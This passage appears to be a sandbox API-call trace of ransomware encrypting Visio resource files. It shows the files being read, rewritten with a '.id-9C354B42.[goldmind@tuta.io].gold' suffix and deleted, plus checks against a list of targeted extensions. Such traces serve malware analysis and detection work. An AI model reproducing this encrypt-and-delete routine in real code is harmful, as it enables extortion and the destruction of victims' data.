(lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.411] lstrlenW (lpString=".jpg") returned 4 [0107.411] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.411] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0107.411] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20 [0107.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.412] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=19328) returned 1 [0107.412] CloseHandle (hObject=0x3ac) returned 1 [0107.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 0x20 [0107.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.412] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.412] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.413] GetLastError () returned 0x0 [0107.413] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x4b80, lpOverlapped=0x0) returned 1 [0107.424] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0107.425] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.425] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0107.425] SetEndOfFile (hFile=0x394) returned 1 [0107.425] CloseHandle (hObject=0x394) returned 1 [0107.425] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.425] SetEndOfFile (hFile=0x3ac) returned 1 [0107.427] CloseHandle (hObject=0x3ac) returned 1 [0107.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 1 [0107.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.428] lstrlenW (lpString=".doc") returned 4 [0107.428] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0107.428] lstrlenW (lpString=".docx") returned 5 [0107.428] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0107.428] lstrlenW (lpString=".pdf") returned 4 [0107.428] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0107.428] lstrlenW (lpString=".xls") returned 4 [0107.428] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0107.428] lstrlenW (lpString=".xlsx") returned 5 [0107.428] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0107.428] lstrlenW (lpString=".ppt") returned 4 [0107.428] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0107.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".zip") returned 4 [0107.429] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".rar") returned 4 [0107.429] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".bz2") returned 4 [0107.429] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".7z") returned 3 [0107.429] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".dbf") returned 4 [0107.429] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".1cd") returned 4 [0107.429] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".jpg") returned 4 [0107.429] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".doc") returned 4 [0107.429] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".docx") returned 5 [0107.429] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0107.429] lstrlenW (lpString=".pdf") returned 4 [0107.429] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".xls") returned 4 [0107.429] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".xlsx") returned 5 [0107.429] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0107.429] lstrlenW (lpString=".ppt") returned 4 [0107.429] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".zip") returned 4 [0107.429] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".rar") returned 4 [0107.429] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".bz2") returned 4 [0107.429] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString=".7z") returned 3 [0107.429] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".dbf") returned 4 [0107.429] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".1cd") returned 4 [0107.429] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0107.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0107.429] lstrlenW (lpString=".jpg") returned 4 [0107.429] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0107.429] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0107.430] lstrlenW (lpString="VISCOLOR.VSL") returned 12 [0107.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.430] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=43392) returned 1 [0107.430] CloseHandle (hObject=0x3ac) returned 1 [0107.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 0x20 [0107.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.431] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.431] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.431] GetLastError () returned 0x0 [0107.431] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xa980, lpOverlapped=0x0) returned 1 [0107.442] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xa990, lpOverlapped=0x0) returned 1 [0107.443] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.443] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.443] SetEndOfFile (hFile=0x394) returned 1 [0107.443] CloseHandle (hObject=0x394) returned 1 [0107.443] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.443] SetEndOfFile (hFile=0x3ac) returned 1 [0107.445] CloseHandle (hObject=0x3ac) returned 1 [0107.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 1 [0107.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.447] lstrlenW (lpString=".doc") returned 4 [0107.447] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString=".docx") returned 5 [0107.447] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0107.447] lstrlenW (lpString=".pdf") returned 4 [0107.447] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString=".xls") returned 4 [0107.447] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.447] lstrlenW (lpString=".xlsx") returned 5 [0107.447] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0107.447] lstrlenW (lpString=".ppt") returned 4 [0107.447] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.447] lstrlenW (lpString=".zip") returned 4 [0107.447] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.447] lstrlenW (lpString=".rar") returned 4 [0107.447] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString=".bz2") returned 4 [0107.447] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString=".7z") returned 3 [0107.447] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.447] lstrlenW (lpString=".dbf") returned 4 [0107.447] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.447] lstrlenW (lpString=".1cd") returned 4 [0107.447] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.447] lstrlenW (lpString=".jpg") returned 4 [0107.447] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.448] lstrlenW (lpString=".doc") returned 4 [0107.448] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString=".docx") returned 5 [0107.448] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0107.448] lstrlenW (lpString=".pdf") returned 4 [0107.448] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString=".xls") returned 4 [0107.448] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.448] lstrlenW (lpString=".xlsx") returned 5 [0107.448] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0107.448] lstrlenW (lpString=".ppt") returned 4 [0107.448] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.448] lstrlenW (lpString=".zip") returned 4 [0107.448] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.448] lstrlenW (lpString=".rar") returned 4 [0107.448] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString=".bz2") returned 4 [0107.448] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString=".7z") returned 3 [0107.448] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.448] lstrlenW (lpString=".dbf") returned 4 [0107.448] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.448] lstrlenW (lpString=".1cd") returned 4 [0107.448] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0107.448] lstrlenW (lpString=".jpg") returned 4 [0107.448] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.448] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0107.448] lstrlenW (lpString="VISINTL.DLL") returned 11 [0107.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.457] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=758648) returned 1 [0107.457] CloseHandle (hObject=0x3ac) returned 1 [0107.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll")) returned 0x20 [0107.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString=".doc") returned 4 [0107.458] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString=".docx") returned 5 [0107.458] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0107.458] lstrlenW (lpString=".pdf") returned 4 [0107.458] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString=".xls") returned 4 [0107.458] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString=".xlsx") returned 5 [0107.458] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0107.458] lstrlenW (lpString=".ppt") returned 4 [0107.458] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString=".zip") returned 4 [0107.458] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString=".rar") returned 4 [0107.458] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString=".bz2") returned 4 [0107.458] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.458] lstrlenW (lpString=".7z") returned 3 [0107.458] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString=".dbf") returned 4 [0107.458] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString=".1cd") returned 4 [0107.458] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString=".jpg") returned 4 [0107.458] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.458] lstrlenW (lpString=".doc") returned 4 [0107.459] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.459] lstrlenW (lpString=".docx") returned 5 [0107.459] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0107.459] lstrlenW (lpString=".pdf") returned 4 [0107.459] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.459] lstrlenW (lpString=".xls") returned 4 [0107.459] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.459] lstrlenW (lpString=".xlsx") returned 5 [0107.459] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0107.459] lstrlenW (lpString=".ppt") returned 4 [0107.459] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.459] lstrlenW (lpString=".zip") returned 4 [0107.459] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.459] lstrlenW (lpString=".rar") returned 4 [0107.459] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.459] lstrlenW (lpString=".bz2") returned 4 [0107.459] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.459] lstrlenW (lpString=".7z") returned 3 [0107.459] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.459] lstrlenW (lpString=".dbf") returned 4 [0107.459] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.459] lstrlenW (lpString=".1cd") returned 4 [0107.459] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0107.459] lstrlenW (lpString=".jpg") returned 4 [0107.459] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.459] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0107.459] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19 [0107.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.460] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=240000) returned 1 [0107.460] CloseHandle (hObject=0x3ac) returned 1 [0107.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 0x20 [0107.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.460] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.460] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.461] GetLastError () returned 0x0 [0107.461] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x3a980, lpOverlapped=0x0) returned 1 [0107.633] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x3a990, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3a990, lpOverlapped=0x0) returned 1 [0107.636] ReadFile (in: hFile=0x3ac, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.636] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, 